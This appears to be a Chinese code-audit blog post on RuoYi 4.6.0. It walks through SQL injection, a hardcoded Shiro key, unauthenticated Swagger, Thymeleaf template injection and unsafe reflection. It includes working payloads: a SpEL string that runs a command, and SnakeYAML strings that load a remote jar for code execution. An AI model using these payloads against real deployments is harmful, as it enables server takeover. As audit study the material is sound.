JAVA代审-RuoYi4.6.0

createh54个月前 (01-10)技术教程45

项目介绍

一直想做一款后台管理系统,看了很多优秀的开源项目但是发现没有合适的。于是利用空闲休息时间开始自己写了一套后台系统。如此有了若依。她可以用于所有的Web应用程序,如网站管理后台,网站会员中心,CMS,CRM,OA。所有前端后台代码封装过后十分精简易上手,出错概率低。同时支持移动客户端访问。系统会陆续更新一些实用功能。

内置功能

  1. 用户管理:用户是系统操作者,该功能主要完成系统用户配置。
  2. 部门管理:配置系统组织机构(公司、部门、小组),树结构展现支持数据权限。
  3. 岗位管理:配置系统用户所属担任职务。
  4. 菜单管理:配置系统菜单,操作权限,按钮权限标识等。
  5. 角色管理:角色菜单权限分配、设置角色按机构进行数据范围权限划分。
  6. 字典管理:对系统中经常使用的一些较为固定的数据进行维护。
  7. 参数管理:对系统动态配置常用参数。
  8. 通知公告:系统通知公告信息发布维护。
  9. 操作日志:系统正常操作日志记录和查询;系统异常信息日志记录和查询。
  10. 登录日志:系统登录日志记录查询包含登录异常。
  11. 在线用户:当前系统中活跃用户状态监控。
  12. 定时任务:在线(添加、修改、删除)任务调度包含执行结果日志。
  13. 代码生成:前后端代码的生成(java、html、xml、sql)支持CRUD下载 。
  14. 系统接口:根据业务代码自动生成相关的api接口文档。
  15. 服务监控:监视当前系统CPU、内存、磁盘、堆栈等相关信息。
  16. 缓存监控:对系统的缓存查询,删除、清空等操作。
  17. 在线构建器:拖动表单元素生成相应的HTML代码。
  18. 连接池监视:监视当前系统数据库连接池状态,可进行分析SQL找出系统性能瓶颈。

环境搭建

项目地址:https://gitee.com/y_project/RuoYi/repository/archive/v4.6.0.zip

下载到本地后解压IDEA打开

修改数据库配置文件,并且创建对应数据库导入两个sql文件

文件路径:RuoYi-v4.6.0\sql\

导入完成后,启动项目访问配置文件中对应本地端口

默认账号密码:admin/admin123

漏洞挖掘

SQL注入

项目介绍和pom.xml都能知道数据库接口使用的是mybatis

全局搜索关键词${

这里有两种,这里一个是存在注入的一个不存在,这里把两个都分析一下

第一处(不存在)

对应文件:\RuoYi-v4.6.0\ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml

这里对应的是updateDeptStatus方法,参数是ancestors,我们记一下

跳转到dao层

查看使用到service

接着往上跟

这里有个getAncestors方法,其实就获取ancestors的,我们看下它是咋来的,是从newParentDept中获取的,newParentDept是通过selectDeptById方法获取的

那么这个方法其实就是根据我们传入的ID获取数据库表的对应数据,然后从里面获取Ancestors,查询的是sys_dept表,我们打开数据库看下

也就是值不可控,所以没办法

第二处(存在)

对应文件:

RuoYi-v4.6.0\ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml

{params.dataScope}这个写法我记得之前有写过一篇系统的注入也是这个写法,这种写法通常用于动态插入一些复杂的 SQL 片段,例如数据权限过滤条件。这种方式可以灵活地根据业务需求动态生成 SQL 语句

我们跳转到dao层往上跟到功能层

根据路由构造访问

/system/role/authUser/allocatedList

除了这一处还有几处也是同样写法,感兴趣的可以自己下去跟

Shiro硬编码

这个可是说是ruoyi的代表漏洞了

通过系统介绍或者pom.xml都可以得知ruoyi使用了shiro,这里的版本是1.7.0

按道理来说是没漏洞的,但是ruoyi采用的是硬编码,把加密的key值写在了配置文件中

全局搜索cipherKey

直接使用工具利用

Swagger未授权

项目中存在Swagger依赖

并且是开启状态

可以看配置文件或者直接扫目录也行,访问:http://127.0.0.1:8080/swagger-ui.html

发现开放了用户操作的接口

可以通过接口获取用户和密码

Thymeleaf模板注入

项目使用到了Thymeleaf模板引擎

版本是3.0.11,是存在漏洞的版本,全局搜索::,也就是片段表达式

随便点一个

这里可控的是fragment,通过post请求直接传

尝试构造访问,传入我们的poc

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__

不安全的反射

全局搜索forname(

优先看下面两个

这从注释中就可以得到功能点应该是和系统相关的

们下个断点,然后执行一次计划任务看下是否会触发方法

可以看到这里是断下来了,流程没问题,if是判断我们传入的类是否是一个有效类,这个正常传就行,那么我们就有开始想如何利用了

由于系统没有任意文件上传,不能尝试上传恶意类然后反射,那么只能从环境中现有的类入手。

由于这里执行的是Object bean = Class.forName(beanName).newInstance()要满足下面几个条件

  1. 1、类必须要有无参构造函数 .
  2. 2、类的构造函数不能是私有的 , 也就是不能通过 “private“ 修饰符来修饰构造函数
  3. 3、调用目标字符串的参数为:支持字符串,布尔类型,长整型,浮点型,整型
  4. 4、在满足上面三个条件后我们还得能够造成危害

就前面两个条件就把我们常规命令执行的路都堵上了,但是好巧不巧ruoyi中引入了snakeyaml

版本是1.25,那么这个版本是存在反序列化漏洞的,而且snakeyaml触发反序列化的写法是

org.yaml.snakeyaml.Yaml.load('序列化数据')

并且load方法是public

可以说是完美符合了

我们尝试传入利用poc

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager
[!!java.net.URLClassLoader [[!!java.net.URL ["http://o58dcubl.requestrepo.com://"]]]]')

保存然后执行

也可以使用下面poc远程加载恶意jar包造成RCE

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/yaml-payload.jar"]]]]')

恶意jar包生成(自己写也可以使用下面项目也可以)

项目地址:https://github.com/artsploit/yaml-payload/

项目下载到本地解压idea打开,修改要执行的命令

然后打开md文件,有编译命令

这里执行的时候由于是命令行执行,要注意自己本地的javac版本,如果本地有多个java版本的话可能会出现javac版本是17,java是8的情况,到时候加载类的时候会报错

运行完成后会生成yaml-payload.jar文件,放到web服务上

然后执行我们设置好的计划任务

这个漏洞网上都说是snakeyaml反序列化漏洞,那么实际上这个是不安全反射的问题,snakeyaml反序列化只是利用方式。

相关文章

第五章:Java方法和参数传递

第五章:Java方法和参数传递在Java编程中,方法是一种重要的概念,它能够将一段代码封装成一个可重复使用的单元。本章将详细介绍Java方法的定义和调用,方法的重载和重写,以及Java中的参数传递方式...

JVM常用指令

目录:一.引言二.基础故障处理工具2.1 概述2.2. jps:虚拟机进程状况工具2.3. jstat:虚拟机统计信息监视工具2.3. jinfo:java配置信息工具2.5. jmap:Java...

Java9模块化出来这么久了,你了解过没(入门使用指南)

1.概述Java9在包之上引入了一个新的抽象级别,正式名称为 Java 平台模块系统(JavaPlatform Module System,JPMS) ,简称模块。接下来,这篇文章将会介绍模块化的基本...

Spring路径-10-SpringBoot开发部署与测试

1 开发的热部署1.1 热部署/热加载热部署(Hot Deploy):热部署针对的是容器或者是整个应用,部署了新的资源或者修改了一些代码,需要在不停机的情况下的重新加载整个应用。热加载(Hot Swa...

java高级用法之:无所不能的java,本地方法调用实况

简介相信每个程序员都有一个成为C++大师的梦想,毕竟C++程序员处于程序员鄙视链的顶端,他可以俯视任何其他语言的程序员。但事实情况是,无数的程序员从小白到放弃,鉴于C++的难度,最后都投入了java的...

一台机器下,多个Java版本的粗放与精细管理

前言在软件开发过程中,经常会遇到“古老”的项目,这些项目的JDK还处于Java 6、Java 7甚至更早的版本。同时,在学习新的JDK特性时,往往又需要安装最新版本的JDK。鉴于这些情况,我们就需要在...